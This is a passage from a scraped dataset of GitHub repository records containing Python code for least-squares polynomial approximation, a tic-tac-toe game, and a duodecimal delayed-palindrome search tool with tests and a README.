\"alpha_fraction\": 0.539710283279419,\n \"alphanum_fraction\": 0.5604395866394043,\n \"avg_line_length\": 28.448530197143555,\n \"blob_id\": \"f8d92f34f64e09f0b302007d9499994e3948bcb9\",\n \"content_id\": \"62d99301814614f6bea6f29ae659aeddc0626cbe\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4692,\n \"license_type\": \"no_license\",\n \"max_line_length\": 98,\n \"num_lines\": 136,\n \"path\": \"/FourthLab/main.py\",\n \"repo_name\": \"MrSkl1f/CA\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"'''\\nПринципиальным отличием задачи среднеквадратичного приближения от задачи интерполяции является то,\\nчто число узлов превышает число параметров. В данном случае практически всегда не найдется такого\\nвектора параметров, для которого значения аппроксимирующей функции совпадали бы со значениями\\nаппроксимируемой функции во всех узлах.\\nВ этом случае задача аппроксимации ставится как задача поиска такого вектора параметров\\ncoefs = (c0, ..., cn)T, при котором значения аппроксимирующей функции как можно меньше отклонялись\\nбы от значений аппроксимируемой функции F(x, coefs) в совокупности всех узлов.\\n'''\\n\\nimport matplotlib.pyplot as plt\\nimport numpy as np\\n\\ndef f(points, coefs):\\n res = [0.] * points\\n for i in range(len(coefs)):\\n res += coefs[i] * (points ** i)\\n return res\\n\\n# Считать данные с файла\\ndef read_file(filename):\\n f = open(filename, \\\"r+\\\")\\n x, y, weight = [], [], []\\n for s in f:\\n s = s.split(\\\" \\\")\\n x.append(float(s[0]))\\n y.append(float(s[1]))\\n weight.append(float(s[2]))\\n f.close()\\n return x, y, weight\\n\\ndef print_table(x, y, weight):\\n print(\\\"x y weight\\\")\\n for i in range(len(x)):\\n print(\\\"%.4f %.4f %.4f\\\" % (x[i], y[i], weight[i]))\\n print()\\n\\ndef print_mtr(matrix):\\n for i in matrix:\\n print(i)\\n\\n# методом Гаусса\\ndef solveSLAE(matrix):\\n length = len(matrix)\\n # приводим к треугольному виду\\n for k in range(length):\\n for i in range(k + 1, length):\\n t = - (matrix[i][k] / matrix[k][k])\\n for j in range(k, length + 1):\\n matrix[i][j] += t * matrix[k][j]\\n\\n coefs = []\\n for i in range(length):\\n coefs.append(0) \\n\\n # Снизу вверх вычисляем каждый коэффициент\\n # Получилась матрица вида:\\n # a0 a1 a2 a3 a4 ...\\n # Сама матрица:\\n # x0 x1 x2 x3 ... y0 \\n # 0 x1 x2 x3 ... y1 \\n # 0 0 x2 x3 ... y2 \\n # ...\\n for i in range(length - 1, -1, -1):\\n for j in range(length - 1, i, -1):\\n matrix[i][length] -= coefs[j] * matrix[i][j]\\n coefs[i] = matrix[i][length] / matrix[i][i]\\n return coefs\\n\\ndef createMatr(x, y, weight, n, N):\\n # Заполняем матрицу нулями\\n matrix = []\\n for i in range(n + 1):\\n matrix.append([])\\n for j in range(n + 2):\\n matrix[i].append(0)\\n\\n # Составляем систему уравнение sum((x^k, x^m) * am) = (y, x^k)\\n\\n # Считаем (x^k, x^m) = sum(pi * xi^(k + m))\\n for k in range(n + 1):\\n for m in range(n + 1):\\n curValue = 0\\n for i in range(len(x)):\\n curValue += pow(x[i], (k + m)) * weight[i]\\n matrix[k][m] = curValue\\n \\n # Считаем (y, x^k) = sum(pi * yi * xi^k)\\n for k in range(n + 1):\\n curValue = 0\\n for i in range(len(x)):\\n curValue += y[i] * pow(x[i], k) * weight[i]\\n matrix[k][n + 1] = curValue\\n\\n coefs = solveSLAE(matrix)\\n \\n return coefs\\n\\n'''\\n#print(\\\"MATRIX\\\\n\\\")\\n#print_mtr(matrix)\\n\\n#print(\\\"\\\\nCOEFFICIENTS\\\\n\\\\n\\\", coefs)\\nprint(\\\"\\\\nAPPROXIMATION FUNCTION\\\\n\\\\nF = \\\", round(coefs[0], 2), sep=\\\"\\\", end=\\\"\\\")\\nfor i in range(1, len(coefs)):\\n print(\\\" + (\\\", round(coefs[i], 2), \\\") * x ** \\\", i, sep=\\\"\\\", end=\\\"\\\")\\n''' \\n\\ndef make_plot(coefs, x, y, weight, dots):\\n plt.figure(1)\\n plt.plot(dots, f(dots, coefs))\\n\\n n = 1\\n x2, y2, weight2 = read_file(\\\"dots2.txt\\\")\\n N = len(x2)\\n coefs2 = createMatr(x2, y2, weight2, n, N)\\n dots2 = np.arange(x2[0] - 2, x2[len(x2) - 1] + 2, 0.01)\\n plt.plot(dots2, f(dots2, coefs2), color=\\\"gray\\\")\\n\\n plt.ylabel(\\\"Y\\\")\\n plt.xlabel(\\\"X\\\")\\n for i in range(len(x)):\\n plt.plot(x[i], y[i], 'ro', markersize=weight[i] + 2)\\n plt.show()\\n\\ndef main():\\n x, y, weight = read_file(\\\"dots.txt\\\")\\n N = len(x) - 1 # количество узлов\\n n = int(input(\\\"Enter the degree of the polynomial: \\\"))\\n print(\\\"n = \\\", n, \\\" N = \\\", N)\\n print_table(x, y, weight)\\n coefs = createMatr(x, y, weight, n, N)\\n dots = np.arange(x[0] - 2, x[len(x) - 1] + 2, 0.01)\\n make_plot(coefs, x, y, weight, dots)\\n\\nmain()\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":6,"string":"6"}}},{"rowIdx":2978337,"cells":{"repo_name":{"kind":"string","value":"utkarshrai/AskRai"},"repo_url":{"kind":"string","value":"https://github.com/utkarshrai/AskRai"},"snapshot_id":{"kind":"string","value":"d7e7d441c292cfe0e8d26d5bda0a4940610a91f0"},"revision_id":{"kind":"string","value":"0194c24c28153ad21cbcd76f5b82f03f409a80ec"},"directory_id":{"kind":"string","value":"d03b8f5a1085ec779a5fceeec4db6888aa83d908"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-12-31T00:29:46.922898","string":"2020-12-31T00:29:46.922898"},"revision_date":{"kind":"timestamp","value":"2017-11-05T07:57:31","string":"2017-11-05T07:57:31"},"committer_date":{"kind":"timestamp","value":"2017-11-05T07:57:31","string":"2017-11-05T07:57:31"},"github_id":{"kind":"number","value":85419215,"string":"85,419,215"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.478083074092865,"alphanum_fraction":0.5099771022796631,"avg_line_length":22.976470947265625,"blob_id":"4e5e8abcef747bc1426644dc1a509f6056bc1008","content_id":"9d4c907127ffe9a8db32e954bd761c8fa0f2321b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":6114,"license_type":"no_license","max_line_length":127,"num_lines":255,"path":"/abc.py","repo_name":"utkarshrai/AskRai","src_encoding":"UTF-8","text":"import sys\nimport random\n\n#Setting up Terminal Display, Seems clearer with underscores compared to dashes\ndef terminalDisplay():\n c=0\n for i in field[:2]:\n for j in i[:2]:\n print('', j, '|', end='')\n print('', field[c][2])\n c+=1\n print ('___|___|___')\n print ('', field[2][0], '|', field[2][1], '|', field[2][2])\n\n#Numbering from 1 to 9 on the grid\nfield = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]\n\n#Initial Interaction with the game\nplayer = input('Player Name : ')\nprint('Welcome to Utkarsh\\'s impossible Tic Tac Toe ', player)\nterminalDisplay()\nfirst = input('Do you want to move first: YES or NO? ')\n\n#Making lists of all posible moves and win possiblities \nmoveChoices = ['1', '2', '3', '4', '5', '6', '7', '8', '9']\nwinGame = [['1','2','3'], ['1','4','7'], ['1','5','9'], ['4','5','6'],['7','8','9'], ['2','5','8'],['3','6','9'],['3','5','7']]\n\nfirstAdvantage = ['5', '1', '3', '7', '9']\n\nsecondAdvantage = [['5', '1'], ['5', '3'], ['5', '7'],\n ['5', '9'], ['1', '3'], ['3', '9'],\n ['7', '9'], ['1', '7']]\n\nthirdAdvantage = [['1', '3', '5'], ['3', '5', '9'], ['7', '5', '9'],\n ['1', '5', '7'], ['1', '3', '9'], ['1', '3', '7'],\n ['7', '9', '3'], ['2', '4', '1'], ['2', '3', '6'],\n ['6', '9', '8'], ['4', '7', '8']]\n\n\n\nmoveCounter = 0\nmatchOver = False\nuserMoves = []\nmyMoves = []\nif (first == \"NO\"):\n print ('My turn: ')\n\n if (len(moveChoices) > 0):\n myMove = think()\n\n if (myMove in moveChoices):\n moveChoices.remove(myMove)\n else:\n print ('Ah! I wanted to win.')\n\n populate(myMove, 'o')\n\n terminalDisplay()\n\n moveCounter += 1\n'If player gets three in a row, player wins'\ndef checkWin(pos1, pos2, pos3, player):\n if ((pos1 is player) and (pos2 is player) and (pos3 is player)):\n playerWins = True\n draw = False\n else:\n playerWins = False\n return playerWins\n\n\n'Check all possible win scenarios for a player.'\ndef checkWinner(player):\n for i in range(3):\n win = checkWin(field[i][0], field[i][1], field[i][2], player)\n if win:\n if player is 'o':\n print('Victory for me! told you, impossible ! ')\n else:\n print ('You won?! You are amazing!')\n draw = False\n sys.exit(0)\n for i in range(3):\n win = checkWin(field[0][i], field[1][i], field[2][i], player)\n if win:\n if player is 'o':\n print('Victory for me! told you, impossible ! ')\n else:\n print ('You won?! You are amazing!')\n draw = False\n sys.exit(0)\n win = checkWin(field[0][0], field[1][1], field[2][2], player)\n if win:\n if player is 'o':\n print('Victory for me! told you, impossible ! ')\n else:\n print ('You won?! You are amazing!')\n draw = False\n sys.exit(0)\n\n win = checkWin(field[0][2], field[1][1], field[2][0], player)\n if win:\n if player is 'o':\n print('Victory for me! old you, impossible ! ')\n else:\n print ('You won?! You are amazing!')\n draw = False\n sys.exit(0)\ncounter = 0\n'Defines coordinates of each numbered position on board.'\ndef switch(x):\n return {\n '1': [0, 0],\n '2': [0, 1],\n '3': [0, 2],\n '4': [1, 0],\n '5': [1, 1],\n '6': [1, 2],\n '7': [2, 0],\n '8': [2, 1],\n '9': [2, 2]\n }[x]\n\n\n'Fills a position with players move.'\ndef populate(x, side):\n nums = switch(x)\n field[nums[0]][nums[1]] = side\n\n\n'Anticipate win or advantage for each player.'\ndef think():\n if moveCounter is 0:\n tInput = '5'\n elif moveCounter is 1:\n if userMoves[-1] is '5':\n tInput = '1'\n else:\n tInput = '5'\n else:\n tInput = anticipateWin()\n if tInput is '0':\n tInput = anticipateUserWin()\n if tInput is '0':\n tInput = anticipateAdvantage()\n if tInput is '0':\n tInput = anticipateUserAdvantage()\n if tInput is '0':\n tInput = random.choice(moves)\n myMoves.append(tInput)\n return tInput\n\n\ndef anticipate(posList, whoMoves):\n tInput = '0'\n for lis in posList:\n commonEl = set(whoMoves) & set(lis)\n if len(commonEl) > 1:\n for el in lis:\n if el not in commonEl:\n if el in moveChoices:\n tInput = el\n break\n break\n return tInput\n\n\ndef anticipateWin():\n tInput = anticipate(winGame, myMoves)\n return tInput\n\n\ndef anticipateUserWin():\n tInput = anticipate(winGame, userMoves)\n return tInput\n\n\ndef anticipateUserAdvantage():\n if len(userMoves) < 2:\n tInput = anticipate(secondAdvantage, userMoves)\n else:\n tInput = anticipate(thirdAdvantage, userMoves)\n return tInput\n\n\ndef anticipateAdvantage():\n tInput = '0'\n if len(myMoves) < 2:\n tInput = anticipate(secondAdvantage, myMoves)\n else:\n tInput = anticipate(thirdAdvantage, myMoves)\n return tInput\n\n\n\n\nif (first is 'NO'):\n print ('My turn: ')\n\n if (len(moveChoices) > 0):\n myMove = think()\n\n if (myMove in moveChoices):\n moveChoices.remove(myMove)\n else:\n print ('Ah! I wanted to win.')\n\n populate(myMove, 'o')\n\n terminalDisplay()\n\n moveCounter += 1\n\ndraw = True\n\nwhile (moveCounter < 9):\n\n move = input('Choose your move: ')\n\n userMoves.append(move)\n if (len(moveChoices) >= 0):\n moveChoices.remove(move)\n else:\n break\n\n populate(move, 'x')\n\n terminalDisplay()\n\n moveCounter += 1\n\n checkWinner('x')\n\n print ('My turn: ')\n\n if len(moveChoices) > 0:\n myMove = think()\n\n if (myMove in moveChoices):\n moveChoices.remove(myMove)\n else:\n print ('Ah! I wanted to win.')\n break\n\n populate(myMove, 'o')\n\n terminalDisplay()\n\n moveCounter += 1\n\n checkWinner('o')\n\nif draw:\n print ('Draw')\nelse:\n print('Something\\'s not right')\n"},{"alpha_fraction":0.8136646151542664,"alphanum_fraction":0.8136646151542664,"avg_line_length":79.5,"blob_id":"06ebeffc88de2736cd13fae6eae0a91367242e93","content_id":"173a5aca59e701416f7acdfacf445f558e8dd583","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":161,"license_type":"no_license","max_line_length":151,"num_lines":2,"path":"/README.md","repo_name":"utkarshrai/AskRai","src_encoding":"UTF-8","text":"# AskRai\nI'm trying to upload screenshots and some written instructions that shall prove useful to anyone who's beginning ML in Python on a Debian distribution.\n"}],"string":"[\n {\n \"alpha_fraction\": 0.478083074092865,\n \"alphanum_fraction\": 0.5099771022796631,\n \"avg_line_length\": 22.976470947265625,\n \"blob_id\": \"4e5e8abcef747bc1426644dc1a509f6056bc1008\",\n \"content_id\": \"9d4c907127ffe9a8db32e954bd761c8fa0f2321b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 6114,\n \"license_type\": \"no_license\",\n \"max_line_length\": 127,\n \"num_lines\": 255,\n \"path\": \"/abc.py\",\n \"repo_name\": \"utkarshrai/AskRai\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import sys\\nimport random\\n\\n#Setting up Terminal Display, Seems clearer with underscores compared to dashes\\ndef terminalDisplay():\\n c=0\\n for i in field[:2]:\\n for j in i[:2]:\\n print('', j, '|', end='')\\n print('', field[c][2])\\n c+=1\\n print ('___|___|___')\\n print ('', field[2][0], '|', field[2][1], '|', field[2][2])\\n\\n#Numbering from 1 to 9 on the grid\\nfield = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]\\n\\n#Initial Interaction with the game\\nplayer = input('Player Name : ')\\nprint('Welcome to Utkarsh\\\\'s impossible Tic Tac Toe ', player)\\nterminalDisplay()\\nfirst = input('Do you want to move first: YES or NO? ')\\n\\n#Making lists of all posible moves and win possiblities \\nmoveChoices = ['1', '2', '3', '4', '5', '6', '7', '8', '9']\\nwinGame = [['1','2','3'], ['1','4','7'], ['1','5','9'], ['4','5','6'],['7','8','9'], ['2','5','8'],['3','6','9'],['3','5','7']]\\n\\nfirstAdvantage = ['5', '1', '3', '7', '9']\\n\\nsecondAdvantage = [['5', '1'], ['5', '3'], ['5', '7'],\\n ['5', '9'], ['1', '3'], ['3', '9'],\\n ['7', '9'], ['1', '7']]\\n\\nthirdAdvantage = [['1', '3', '5'], ['3', '5', '9'], ['7', '5', '9'],\\n ['1', '5', '7'], ['1', '3', '9'], ['1', '3', '7'],\\n ['7', '9', '3'], ['2', '4', '1'], ['2', '3', '6'],\\n ['6', '9', '8'], ['4', '7', '8']]\\n\\n\\n\\nmoveCounter = 0\\nmatchOver = False\\nuserMoves = []\\nmyMoves = []\\nif (first == \\\"NO\\\"):\\n print ('My turn: ')\\n\\n if (len(moveChoices) > 0):\\n myMove = think()\\n\\n if (myMove in moveChoices):\\n moveChoices.remove(myMove)\\n else:\\n print ('Ah! I wanted to win.')\\n\\n populate(myMove, 'o')\\n\\n terminalDisplay()\\n\\n moveCounter += 1\\n'If player gets three in a row, player wins'\\ndef checkWin(pos1, pos2, pos3, player):\\n if ((pos1 is player) and (pos2 is player) and (pos3 is player)):\\n playerWins = True\\n draw = False\\n else:\\n playerWins = False\\n return playerWins\\n\\n\\n'Check all possible win scenarios for a player.'\\ndef checkWinner(player):\\n for i in range(3):\\n win = checkWin(field[i][0], field[i][1], field[i][2], player)\\n if win:\\n if player is 'o':\\n print('Victory for me! told you, impossible ! ')\\n else:\\n print ('You won?! You are amazing!')\\n draw = False\\n sys.exit(0)\\n for i in range(3):\\n win = checkWin(field[0][i], field[1][i], field[2][i], player)\\n if win:\\n if player is 'o':\\n print('Victory for me! told you, impossible ! ')\\n else:\\n print ('You won?! You are amazing!')\\n draw = False\\n sys.exit(0)\\n win = checkWin(field[0][0], field[1][1], field[2][2], player)\\n if win:\\n if player is 'o':\\n print('Victory for me! told you, impossible ! ')\\n else:\\n print ('You won?! You are amazing!')\\n draw = False\\n sys.exit(0)\\n\\n win = checkWin(field[0][2], field[1][1], field[2][0], player)\\n if win:\\n if player is 'o':\\n print('Victory for me! old you, impossible ! ')\\n else:\\n print ('You won?! You are amazing!')\\n draw = False\\n sys.exit(0)\\ncounter = 0\\n'Defines coordinates of each numbered position on board.'\\ndef switch(x):\\n return {\\n '1': [0, 0],\\n '2': [0, 1],\\n '3': [0, 2],\\n '4': [1, 0],\\n '5': [1, 1],\\n '6': [1, 2],\\n '7': [2, 0],\\n '8': [2, 1],\\n '9': [2, 2]\\n }[x]\\n\\n\\n'Fills a position with players move.'\\ndef populate(x, side):\\n nums = switch(x)\\n field[nums[0]][nums[1]] = side\\n\\n\\n'Anticipate win or advantage for each player.'\\ndef think():\\n if moveCounter is 0:\\n tInput = '5'\\n elif moveCounter is 1:\\n if userMoves[-1] is '5':\\n tInput = '1'\\n else:\\n tInput = '5'\\n else:\\n tInput = anticipateWin()\\n if tInput is '0':\\n tInput = anticipateUserWin()\\n if tInput is '0':\\n tInput = anticipateAdvantage()\\n if tInput is '0':\\n tInput = anticipateUserAdvantage()\\n if tInput is '0':\\n tInput = random.choice(moves)\\n myMoves.append(tInput)\\n return tInput\\n\\n\\ndef anticipate(posList, whoMoves):\\n tInput = '0'\\n for lis in posList:\\n commonEl = set(whoMoves) & set(lis)\\n if len(commonEl) > 1:\\n for el in lis:\\n if el not in commonEl:\\n if el in moveChoices:\\n tInput = el\\n break\\n break\\n return tInput\\n\\n\\ndef anticipateWin():\\n tInput = anticipate(winGame, myMoves)\\n return tInput\\n\\n\\ndef anticipateUserWin():\\n tInput = anticipate(winGame, userMoves)\\n return tInput\\n\\n\\ndef anticipateUserAdvantage():\\n if len(userMoves) < 2:\\n tInput = anticipate(secondAdvantage, userMoves)\\n else:\\n tInput = anticipate(thirdAdvantage, userMoves)\\n return tInput\\n\\n\\ndef anticipateAdvantage():\\n tInput = '0'\\n if len(myMoves) < 2:\\n tInput = anticipate(secondAdvantage, myMoves)\\n else:\\n tInput = anticipate(thirdAdvantage, myMoves)\\n return tInput\\n\\n\\n\\n\\nif (first is 'NO'):\\n print ('My turn: ')\\n\\n if (len(moveChoices) > 0):\\n myMove = think()\\n\\n if (myMove in moveChoices):\\n moveChoices.remove(myMove)\\n else:\\n print ('Ah! I wanted to win.')\\n\\n populate(myMove, 'o')\\n\\n terminalDisplay()\\n\\n moveCounter += 1\\n\\ndraw = True\\n\\nwhile (moveCounter < 9):\\n\\n move = input('Choose your move: ')\\n\\n userMoves.append(move)\\n if (len(moveChoices) >= 0):\\n moveChoices.remove(move)\\n else:\\n break\\n\\n populate(move, 'x')\\n\\n terminalDisplay()\\n\\n moveCounter += 1\\n\\n checkWinner('x')\\n\\n print ('My turn: ')\\n\\n if len(moveChoices) > 0:\\n myMove = think()\\n\\n if (myMove in moveChoices):\\n moveChoices.remove(myMove)\\n else:\\n print ('Ah! I wanted to win.')\\n break\\n\\n populate(myMove, 'o')\\n\\n terminalDisplay()\\n\\n moveCounter += 1\\n\\n checkWinner('o')\\n\\nif draw:\\n print ('Draw')\\nelse:\\n print('Something\\\\'s not right')\\n\"\n },\n {\n \"alpha_fraction\": 0.8136646151542664,\n \"alphanum_fraction\": 0.8136646151542664,\n \"avg_line_length\": 79.5,\n \"blob_id\": \"06ebeffc88de2736cd13fae6eae0a91367242e93\",\n \"content_id\": \"173a5aca59e701416f7acdfacf445f558e8dd583\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 161,\n \"license_type\": \"no_license\",\n \"max_line_length\": 151,\n \"num_lines\": 2,\n \"path\": \"/README.md\",\n \"repo_name\": \"utkarshrai/AskRai\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# AskRai\\nI'm trying to upload screenshots and some written instructions that shall prove useful to anyone who's beginning ML in Python on a Debian distribution.\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2978338,"cells":{"repo_name":{"kind":"string","value":"meownoid/add-and-reverse"},"repo_url":{"kind":"string","value":"https://github.com/meownoid/add-and-reverse"},"snapshot_id":{"kind":"string","value":"01a4a5c96f6225627cb60ffdcde4a7dee12412ab"},"revision_id":{"kind":"string","value":"cdeb81c14aed07e0086ab56857a03150212e2f5a"},"directory_id":{"kind":"string","value":"42969c057fba7db4d7376c58f790711d2e898064"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2022-12-02T12:08:13.276127","string":"2022-12-02T12:08:13.276127"},"revision_date":{"kind":"timestamp","value":"2022-11-21T21:20:12","string":"2022-11-21T21:20:12"},"committer_date":{"kind":"timestamp","value":"2022-11-21T21:20:12","string":"2022-11-21T21:20:12"},"github_id":{"kind":"number","value":188548616,"string":"188,548,616"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5558829307556152,"alphanum_fraction":0.5607935786247253,"avg_line_length":23.242856979370117,"blob_id":"960ce08e51bee82ce6cbfa764324f0ae2b13f87d","content_id":"00f4d143476850b9a4f4b06745dfb3445d199b0f","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":5091,"license_type":"permissive","max_line_length":88,"num_lines":210,"path":"/main.py","repo_name":"meownoid/add-and-reverse","src_encoding":"UTF-8","text":"import datetime\nimport sqlite3\nimport argparse\nimport time\nfrom collections import ChainMap\nfrom typing import Dict\nfrom multiprocessing import Pool\n\nfrom _fast import check_range\n\n\ndef prepare_db(conn: sqlite3.Connection) -> None:\n cur = conn.cursor()\n\n cur.execute(\n \"\"\"\n CREATE TABLE IF NOT EXISTS results(\n date text,\n iterations integer UNIQUE NOT NULL,\n number integer\n )\n \"\"\"\n )\n\n cur.execute(\n \"\"\"\n CREATE TABLE IF NOT EXISTS meta (\n date text,\n last_number integer\n )\n \"\"\"\n )\n\n conn.commit()\n\n\ndef load_results(conn: sqlite3.Connection) -> Dict[int, int]:\n cur = conn.cursor()\n\n return dict(cur.execute(\"SELECT iterations, number FROM results;\"))\n\n\ndef load_last_number(conn: sqlite3.Connection) -> int:\n cur = conn.cursor()\n\n result = cur.execute(\n \"SELECT max(last_number) AS last_number FROM meta;\"\n ).fetchone()[0]\n\n return 1 if result is None else result\n\n\ndef insert_result(conn: sqlite3.Connection, iterations: int, number: int) -> None:\n cur = conn.cursor()\n\n cur.execute(\n \"INSERT INTO results (date, iterations, number) VALUES (?, ?, ?)\",\n (datetime.datetime.now(), iterations, number),\n )\n\n\ndef insert_last_number(conn: sqlite3.Connection, last_number: int) -> None:\n cur = conn.cursor()\n\n cur.execute(\n \"INSERT INTO meta (date, last_number) VALUES (?, ?)\",\n (datetime.datetime.now(), last_number),\n )\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description=\"Utility for search of the most delayed palindromes\"\n )\n parser.add_argument(\n \"--database\",\n \"-d\",\n dest=\"database\",\n action=\"store\",\n default=\"db.sqlite\",\n help=\"path to the database file\",\n )\n parser.add_argument(\n \"--threads\",\n \"-t\",\n dest=\"threads\",\n type=int,\n action=\"store\",\n default=1,\n help=\"number of threads\",\n )\n parser.add_argument(\n \"--numbers\",\n \"-n\",\n dest=\"numbers\",\n type=int,\n action=\"store\",\n default=100000,\n help=\"number of numbers to check in one thread\",\n )\n parser.add_argument(\n \"--start\",\n \"-s\",\n dest=\"start\",\n type=int,\n action=\"store\",\n default=None,\n help=\"overrides starting number\",\n )\n parser.add_argument(\n \"--quiet\",\n \"-q\",\n dest=\"quiet\",\n action=\"store_const\",\n const=True,\n default=False,\n help=\"quiet mode\",\n )\n parser.add_argument(\n \"--results\",\n \"-r\",\n dest=\"results\",\n action=\"store_const\",\n const=True,\n default=False,\n help=\"show results and exit\",\n )\n parser.add_argument(\n \"--benchmark\",\n \"-b\",\n dest=\"benchmark\",\n action=\"store_const\",\n const=True,\n default=False,\n help=\"run benchmark while computing and display results\",\n )\n\n args = parser.parse_args()\n\n assert args.threads > 0\n assert args.numbers > 0\n assert args.start >= 0 if args.start is not None else True\n\n conn = sqlite3.connect(args.database)\n\n prepare_db(conn)\n\n old_results = load_results(conn)\n\n if args.results:\n for iterations, result in sorted(old_results.items()):\n print(f\"{iterations:8d} : {result:16d}\")\n\n return\n\n new_results = {}\n all_results = ChainMap(old_results, new_results)\n\n start = args.start if args.start is not None else load_last_number(conn)\n\n ranges = []\n end = start\n for _ in range(args.threads):\n ranges.append((end, end + args.numbers))\n end += args.numbers\n\n if not args.quiet:\n print(f\"Start: {start}\")\n print(f\"End: {end - 1}\")\n print(f\"Number of threads: {args.threads}\")\n\n with Pool(args.threads) as pool:\n start_time = time.time()\n for res in pool.starmap(check_range, ranges, chunksize=1):\n for key, value in res.items():\n if key not in all_results:\n new_results[key] = value\n continue\n\n if value < all_results[key]:\n new_results[key] = value\n elapsed_time = time.time() - start_time\n\n if args.benchmark:\n numbers_per_second = args.numbers / elapsed_time\n numbers_per_second_per_thread = numbers_per_second / args.threads\n print(\"Benchmark results:\")\n print(f\" Total time: {elapsed_time:.3f} seconds\")\n print(f\" Numbers per second: {int(numbers_per_second):d}\")\n print(\n f\" Numbers per second per thread: {int(numbers_per_second_per_thread):d}\"\n )\n\n for key, value in new_results.items():\n insert_result(conn, key, value)\n\n insert_last_number(conn, end)\n\n if not args.quiet:\n print(f\"Found new numbers: {len(new_results)}\")\n\n conn.commit()\n conn.close()\n\n if not args.quiet:\n print(\"Bye\")\n\n\nif __name__ == \"__main__\":\n main()\n"},{"alpha_fraction":0.5437921285629272,"alphanum_fraction":0.5803657174110413,"avg_line_length":22.08888816833496,"blob_id":"ac380850a9cde4dbb67e7ed5b39a5e486cba3447","content_id":"d5770c1e8ca6450c54f7f8f5913462dd4068b682","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2078,"license_type":"permissive","max_line_length":88,"num_lines":90,"path":"/test.py","repo_name":"meownoid/add-and-reverse","src_encoding":"UTF-8","text":"from _fast import (\n check,\n reverse_and_add_test,\n is_palindrome_test,\n MAX_ITERS_TEST,\n check_range,\n)\n\ndigits = \"0123456789AB\"\nreverse_digits = {d: i for i, d in enumerate(digits)}\n\n\ndef to_duodecimal(n: int) -> str:\n if n == 0:\n return \"0\"\n\n if n < 0:\n return f\"-{to_duodecimal(-n)}\"\n\n xs = []\n while n:\n xs.append(n % 12)\n n //= 12\n return \"\".join(map(lambda x: digits[x], reversed(xs)))\n\n\ndef from_duodecimal(n: str) -> int:\n if n[0] == \"-\":\n return -from_duodecimal(n[1:])\n\n return sum(map(lambda p: reverse_digits[p[1]] * 12 ** p[0], enumerate(reversed(n))))\n\n\ndef reverse_and_add_simple(n: int) -> int:\n return n + from_duodecimal(\"\".join(reversed(to_duodecimal(n))))\n\n\ndef is_palindrome_simple(n: int) -> bool:\n d = to_duodecimal(n)\n return d == \"\".join(reversed(d))\n\n\ndef check_simple(n: int) -> int:\n for i in range(MAX_ITERS_TEST):\n if is_palindrome_simple(n):\n return i\n n = reverse_and_add_simple(n)\n\n return -1\n\n\ndef test_to_duodecimal():\n assert to_duodecimal(0) == \"0\"\n assert to_duodecimal(1) == \"1\"\n assert to_duodecimal(9) == \"9\"\n assert to_duodecimal(10) == \"A\"\n assert to_duodecimal(11) == \"B\"\n assert to_duodecimal(12) == \"10\"\n assert to_duodecimal(13) == \"11\"\n assert to_duodecimal(23) == \"1B\"\n\n for i in range(1, 42):\n assert to_duodecimal(-i) == \"-\" + to_duodecimal(i)\n\n\ndef test_from_duodecimal():\n for i in range(-1000, 1000):\n assert i == from_duodecimal(to_duodecimal(i))\n\n\ndef test_reverse_and_add():\n for i in range(1, 1000):\n assert reverse_and_add_test(i) == reverse_and_add_simple(i)\n\n\ndef test_is_palindrome():\n for i in range(1, 100000):\n assert is_palindrome_test(i) == is_palindrome_simple(i)\n\n\ndef test_check():\n for i in range(1, 100):\n assert check(i) == check_simple(i)\n\n\ndef test_check_range():\n for i, n in check_range(1, 100).items():\n for _ in range(i):\n n = reverse_and_add_simple(n)\n assert is_palindrome_simple(n)\n"},{"alpha_fraction":0.5053533315658569,"alphanum_fraction":0.7384903430938721,"avg_line_length":15.828828811645508,"blob_id":"7aaee5535fba7db9c7366c074e13190e17d6d220","content_id":"7f3f848e179f39087e8d23c8cd8104fa949f30c2","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":3736,"license_type":"permissive","max_line_length":108,"num_lines":222,"path":"/README.md","repo_name":"meownoid/add-and-reverse","src_encoding":"UTF-8","text":"# Most delayed palindromes generator\n\nThis is an utility that I used to solve little programming quiz back at the university.\n\n## Problem statement\n\nWe were asked to find the most delayed palindrome for any natural number.\n\nMost delayed palindrome of N is the **smallest** decimal natural number which in **exactly** N iterations of\nthe reverse-and-add operation results in the palindrome in the duodecimal system (and at none\nof the previous iterations it is a palindrome).\n\nPalindrome is the number that satisfies `str(n) == ''.join(reversed(str(n)))` (assuming str works\nin duodecimal system).\n\nReverse-and-add operation can be defined as `lambda n: n + int(reversed(str(n)))` (assuming str works\nin duodecimal system).\n\n### Example\n\nLet's see an example of number `23` (decimal) = `1B` (duodecimal).\n\nFirst 